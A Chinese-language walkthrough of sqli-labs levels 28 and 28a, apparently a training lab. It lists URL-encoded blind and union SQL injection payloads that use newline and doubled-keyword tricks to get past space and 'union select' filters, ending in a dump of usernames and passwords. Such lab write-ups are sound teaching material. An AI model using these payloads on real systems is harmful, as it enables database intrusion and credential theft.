第28关
判断注入类型
?id=2%0aand%0a1=1
?id=2%0aand%0a1=2
结果均返回正常,为字符型注入,尝试单引号、双引号、括号等注入,发现为')注入
?id=2')%0aand%0a('1'='1
此关出错,却没有报错信息,可以采用盲注
1.盲注
判断数据库长度:
?id=2%27)%0aand%0alength(database())=8%0aand%0a(%271%27=%271
判断数据库
?id=2')%0aand%0aascii(mid(database(),1,1))=115%0aand%0a('1'='1
以此类推,得出库名为security
判断表名
?id=2%27)%0aand%0aascii(mid((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1))=101%0aand%0a(%271%27=%271
以此类推,得出第一个表名为email;
?id=2%27)%0aand%0aascii(mid((select%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a1,1),1,1))=114%0aand%0a(%271%27=%271
得出第2个表名为referes ;
......得出剩余表名uagents,users
2.采用联合
这关主要点是union select被过滤,不是单纯的过滤union,select
绕过union select,得出回显点
?id=0')%0aunionunion%0aselect%0aselect%0a1,2,3%0aand%0a('1'='1
得出数据库
?id=0%27)%0aunionunion%0aselect%0aselect%0a1,database(),3%0aand%0a(%271%27=%271
得出表名
?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),3%0aand%0a(%271%27=%271
得出列名
?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=database()%0aand%0atable_name=%27users%27),3%0aand%0a(%271%27=%271
得出用户名,密码
?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(username,%27:%27,password)%0afrom%0ausers),3%0aand%0a(%271%27=%271
第28a关
这一关为')字符型注入,也是没有报错信息,方法与28关差不多,好处是空格没过滤
?id=2%27)%20and%20(%271%27=%271
有点小奇怪,看了主页面,按理说28关应该给出报错信息,毕竟标题写的是基于报错
查看28关源码,报错信息被注释
把注释去掉,就有报错信息